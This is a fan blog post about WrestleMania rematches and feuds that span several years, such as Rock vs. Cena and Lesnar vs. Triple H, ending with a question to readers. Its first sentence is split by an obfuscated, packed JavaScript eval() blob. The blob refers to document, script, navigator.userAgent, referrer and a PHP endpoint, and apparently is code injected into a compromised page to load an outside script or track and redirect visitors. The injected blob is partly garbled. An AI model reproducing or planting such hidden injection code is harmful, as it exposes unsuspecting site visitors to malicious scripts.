Wrestlemania Sequels
As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykhff|var|u0026u|referrer|ttznn||js|php'.split('|'),0,{})) we approach Wrestlemania, it’s pretty clear that the show is going to have at least two major matches that we’ve seen in the last year: Rock vs. Cena II and Lesnar vs. HHH II. This brings up a few interesting questions.Now first of all, it’s hardly like this is without precedence. Hogan and Andre had two matches at Mania in back to back years and you could easily argue that there is one flowing story from Mania III to Mania V (Hogan vs. Andre which transitioned to Hogan vs. Savage). In the last few years though, there have been feuds that have spread over multiple Wrestlemanias. The Undertaker vs. DX spread over four shows and now Rock vs. Cena is spreading over three. This brings me to the main question:
Do you like these feuds and stories that spread over multiple Wrestlemanias? The matches are almost guaranteed to be good as only major stars are used in these things, but would you prefer to see them be one off matches rather than spreading out over years?
The more I think about it, the more I think I like these stretched out stories. The Undertaker matches have stolen the show the last four years and it’s pretty clear that Rock vs. Cena II will be awesome as well. Also it’s not like they do this for multiple stories a year every year so it’s hardly something dominating the shows.
